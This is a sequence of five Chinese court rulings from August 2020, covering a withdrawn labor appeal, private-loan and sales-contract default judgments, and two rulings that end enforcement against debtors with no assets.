广东省佛山市中级人民法院民 事 裁 定 书（2020）粤06民终7821号上诉人（原审原告）：佛山市三水远大华辉实业有限公司，住所地广东省佛山市***********，统一社会信用代码914**********。法定代表人：林炳辉，总经理。委托诉讼代理人：朱心水，男，汉族，1970年12月12日出生，住湖北省通山县***************，系该公司员工。被上诉人（原审被告）：曾明灿，男，汉族，1964年2月19日出生，住江西省吉安市永新县*************，公民身份号码362************。上诉人佛山市三水远大华辉实业有限公司因与被上诉人曾明灿确认劳动关系纠纷一案，不服广东省佛山市三水区人民法院（2020）粤0607民初1447号民事判决，向本院提起上诉。本院于2020年7月29日立案后，依法组成合议庭对本案进行了审理。本案审理过程中，上诉人佛山市三水远大华辉实业有限公司向本院申请撤回上诉。本院经审查认为,上诉人佛山市三水远大华辉实业有限公司撤回上诉是其对自己民事权利和诉讼权利的处分，且符合法律规定，依法应予准许。依照《中华人民共和国民事诉讼法》第十三条第二款、第一百五十四条第一款第五项的规定，裁定如下：准许上诉人佛山市三水远大华辉实业有限公司撤回上诉。二审案件受理费10元，减半收取5元，由上诉人佛山市三水远大华辉实业有限公司负担。本裁定为终审裁定。审 判 长 禤敏婷审 判 员 陈星星审 判 员 侯 进二〇二〇年八月十一日法官助理 钟家欣书 记 员 朱夏嬙
宁夏回族自治区中宁县人民法院民事判决书（2020）宁0521民初976号原告：白某，住宁夏回族自治区中卫市。被告：任某,住宁夏回族自治区中宁县。原告白某与被告任某民间借贷纠纷一案，本院于2020年4月10日立案。因被告下落不明，本院依法向其公告送达应诉通知书、开庭传票等诉讼文书。依法组成合议庭公开开庭进行了审理。原告到庭参加诉讼，被告经本院传票传唤，无正当理由拒不到庭参加诉讼。本案现已审理终结。原告向本院提出诉讼请求：1.依法判令被告偿还借款本金38000元、利息10000元（按照银行同期贷款利率自2016年7月31日至2020年4月10日），共计48000元；2.案件受理费由被告承担。事实和理由：2016年7月31日，被告因交纳养老保险缺少资金，向原告借款38000元，并给原告出具借条一张，约定2017年12月16日偿还。借款期限届满后，经原告多次催要，被告以各种理由推托不还。被告任某经本院传票传唤，未到庭参加诉讼，亦未向法庭提交书面答辩意见和证据材料。本院经审理认定事实如下：2016年7月31日，被告因交纳养老保险缺少资金，向原告借款38000元，并向原告出具借条一份，约定2017年12月16日偿还。后被告陆续偿还借款本金7500元，剩余借款本金经原告催要，被告拖欠至今。上述事实，有原告的当庭陈述及借条一份在案佐证，经法庭审核，对其证明效力予以确认。本院认为，原、被告之间的借贷关系合法有效，被告未返还原告借款，应当承担相应的民事责任，对原告要求被告返还其借款本金38000元的诉讼请求，扣除被告已经偿还的7500元，本院予以支持30500元。对原告要求被告以本金38000元按照银行同期贷款利率支付2016年7月31日至2020年4月10日期间的利息10000元的诉讼请求，本院应按照借款本金30500元，年利率4.35%支持自2017年12月16日至2020年4月10日期间的利息3075元（30500元×846天×4.35%÷365天）。被告任某经本院传票传唤，无正当理由拒不到庭参加诉讼，视为对其诉讼权利的放弃，应承担相应的法律后果。依照《中华人民共和国合同法》第八条、第一百零七条、第二百零六条、第二百零七条，《最高人民法院关于审理民间借贷案件适用法律若干问题的规定》第二十九条第一款,《中华人民共和国民事诉讼法》第一百三十四条第二款、第一百四十四条之规定，判决如下：被告任某于本判决生效之日返还原告白某借款本金30500元、利息3075元，共计33575元。如果未按本判决指定的期间履行给付金钱义务，应当按照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费1000元、公告费480元，共计1480元，由被告任某负担。如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或代表人的人数提出副本，上诉于中卫市中级人民法院。当事人不主动履行本法律文书确定的义务，对方当事人可申请人民法院执行，未提出申请的，视为自动放弃权利。申请执行的期间为二年。审判长 张少红人民陪审员 时雯玉人民陪审员 李 华 二〇二〇年八月十九日书记员 杨雪雅附本案适用法律条文：《中华人民共和国合同法》第八条依法成立的合同，对当事人具有法律约束力。当事人应当按照约定履行自己的义务，不得擅自变更或者解除合同。第一百零七条当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。第二百零六条借款人应当按照约定的期限返还借款。对借款期限没有约定或者约定不明确，依照本法第六十一条的规定仍不能确定的，借款人可以随时返还；贷款人可以催告借款人在合理期限内返还。第二百零七条借款人未按照约定的期限返还借款的，应当按照约定或者国家有关规定支付逾期利息。《最高人民法院关于审理民间借贷案件适用法律若干问题的规定》第二十九条借贷双方对逾期利率有约定的，从其约定，但以不超过年利率24%为限。未约定逾期利率或者约定不明的，人民法院可以区分不同情况处理：（一）既未约定借期内的利率，也未约定逾期利率，出借人主张借款人自逾期还款之日起按照年利率支6%支付资金占用期间利息的，人民法院应予支持；（二）约定了借期内的利率但未约定逾期利率，出借人主张借款人自逾期之日起按照借期内的利率支付资金占用期间利息的，人民法院应予支持。《中华人民共和国民事诉讼法》第十四条人民检察院有权对民事诉讼实行法律监督。第一百三十四条人民法院审理民事案件，除涉及国家秘密、个人隐私或者法律另有规定的以外，应当公开进行。离婚案件，涉及商业秘密的案件，当事人申请不公开审理的，可以不公开审理。第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决。
广东省江门市蓬江区人民法院民 事 判 决 书（2020）粤0703民初5818号原告：江门市蓬江区宏扬化工材料有限公司，住所地江门市***********。法定代表人：陈某1。委托诉讼代理人：谭伟斌，系广东领拓律师事务所律师。被告：江门市思派贸易有限公司，住所地江门市蓬江区*********。法定代表人：吕某1。原告江门市蓬江区宏扬化工材料有限公司诉被告江门市思派贸易有限公司买卖合同纠纷一案，本院立案受理后，依法适用简易程序公开开庭进行了审理，原告江门市蓬江区宏扬化工材料有限公司的委托诉讼代理人谭伟斌到庭参加诉讼，被告江门市思派贸易有限公司经本院依法传唤无正当理由未到庭。本案现已审理终结。原告诉称：原、被告之间自2015年开始有业务往来，被告向原告采购聚氨酯树脂，因被告未能依约付款，双方停止业务合作，至2019年12月31日，双方对账确认被告尚欠原告货款55091元。故诉至法院，请求判令：1.被告向原告支付货款55091元及利息（利息的计算标准，按月利率6厘自2019年12月10日起计算至清偿之日止）。2.本案诉讼费由被告承担。原告提供的证据有：1.被告企业信用信息公示报告；2.应收货款明细对账单。被告未答辩未提交证据。经审理查明：被告经本院送达起诉材料后未到庭参加诉讼，没有提交答辩意见和相关反驳证据。本院经开庭审理并审查了原告提交的证据，对原告主张的事实予以确认。本院认为：本案属于买卖合同纠纷。原、被告之间存在买卖关系，原告提交对账单证实被告尚欠货款55091元，被告经传票传唤无正当理由拒不到庭，视为放弃相应的诉讼权利，对原告诉请的货款金额，本院予以确认。双方对账后被告未付款，应承担相应的违约责任，因双方未约定付款期限和违约金标准，原告也同意由法院依法调整，本院综合考虑当事人的过错程度及预期利益等因素，酌定按全国银行间同业拆借中心公布的贷款市场报价利率上浮50%的标准，从双方对账之日2019年12月31日起计至付清之日。原告超出部分的请求，本院不予支持。综上所述，根据《中华人民共和国合同法》第一百零九条和《中华人民共和国民事诉讼法》第六十四条第一款、第一百四十四条的规定，判决如下：一、被告江门市思派贸易有限公司在本判决发生法律效力之日起十日内向原告江门市蓬江区宏扬化工材料有限公司支付货款人民币55091元及逾期付款利息（该利息以55091元为本金，从2019年12月31日起，按全国银行间同业拆借中心公布的贷款市场报价利率（一年期）上浮50%的标准计至付清之日止）。二、驳回原告江门市蓬江区宏扬化工材料有限公司的其他诉讼请求。如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。本案受理费1224.94元减半收取为612.47元，保全费590元，合计1202.47元，由被告江门市思派贸易有限公司负担。如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于广东省江门市中级人民法院。如不上诉,被告拒不在判决书规定期限内履行义务的,原告可在判决书发生法律效力后,上述履行期限届满的次日起二年内向本院申请执行。审判员  黄银平二〇二〇年八月六日书记员  容丽萍
广东省深圳市龙华区人民法院 执 行 裁 定 书 （2020）粤0309执3919号 申请执行人张美璐,女，汉族,1987年4月13日出生,身份证住址广东省深圳市龙岗区。 被执行人深圳市图雅丽特种技术有限公司，住所地深圳市龙华新区大浪街道华宁路东龙兴工业园****，统一社会信用代码91440300062711350E。 法定代表人周培钦。 申请执行人张美璐与被执行人深圳市图雅丽特种技术有限公司劳动争议一案，深圳市龙华区劳动人事争议仲裁委员会作出的深华劳人仲（大浪）案[2018]323号仲裁调解书已经发生法律效力，被执行人深圳市图雅丽特种技术有限公司应履行支付42300.00元的义务，由于被执行人没有履行生效法律文书确定的内容，申请执行人向本院申请强制执行，本院依法受理。 在执行过程中，本院已依法向被执行人送达《执行通知书》、《报告财产令》,责令其在指定期限内履行义务并如实申报财产情况。同时，本院已通过深圳法院鹰眼执行综合应用平台、全国法院网络执行查控系统对被执行人名下的银行存款、股票、工商股权、房产、车辆、支付宝账户存款、财付通账户存款、京东账户存款、保险、公积金等财产进行了查询，暂未发现被执行人有可供执行的财产。上述财产查证情况已经告知申请执行人，申请执行人没有异议，亦未能在本院指定的期限内向本院提供被执行人可供执行的财产线索。本院已依法对被执行人的法定代表人限制高消费并将被执行人纳入失信被执行人名单。 本院认为，被执行人没有可供执行的财产，且申请执行人亦不能在指定期间内提供被执行人可供执行的财产线索，本案符合终结本次执行程序的条件，可以做终结本次执行程序处理。终结本次执行程序期间，申请执行人享有继续要求被执行人清偿债务的权利，被执行人负有继续向申请执行人履行的义务。依照《中华人民共和国民事诉讼法》第一百五十四条第一款第十一项、《最高人民法院关于适用的解释》第五百一十九条规定，裁定如下： 终结本次执行程序。 申请执行人发现被执行人有可供执行财产的，可持本裁定书依法向本院申请恢复强制执行。 本裁定送达后立即生效。 执行长  滕树全 执行员  陈岸民 执行员  袁 焘 二〇二〇年八月七日 书记员  李 楠
西安市碑林区人民法院执 行 裁 定 书(2020)陕0103执2645号申请执行人招商银行股份有限公司信用卡中心，住所地上海市浦东新区来安路**。被执行人王某某，女，1986年3月26日出生，汉族。关于申请执行人招商银行股份有限公司信用卡中心与被执行人王某某信用卡纠纷一案，本院作出的（2019）陕0103民初9256号民事判决书已经发生法律效力。申请执行人向本院申请执行，本院于2020年4月24日立案执行，申请标的为169976.79元。执行中，经向银行、房地局、车管所等部门调查，被执行人暂无可供执行的财产及财产线索，本案未受偿金额169976.79元。已将被执行人发布限制消费令，终结本次执行程序。依据《最高人民法院关于适用的解释》第五百一十九条的规定，裁定如下：终结本院（2020）陕0103执2645号案件的本次执行程序。申请执行人如发现被执行人财产及财产线索，可随时向本院申请恢复执行。本裁定送达后即发生法律效力。审判员  孙红二〇二〇年八月二十五日书记员  林森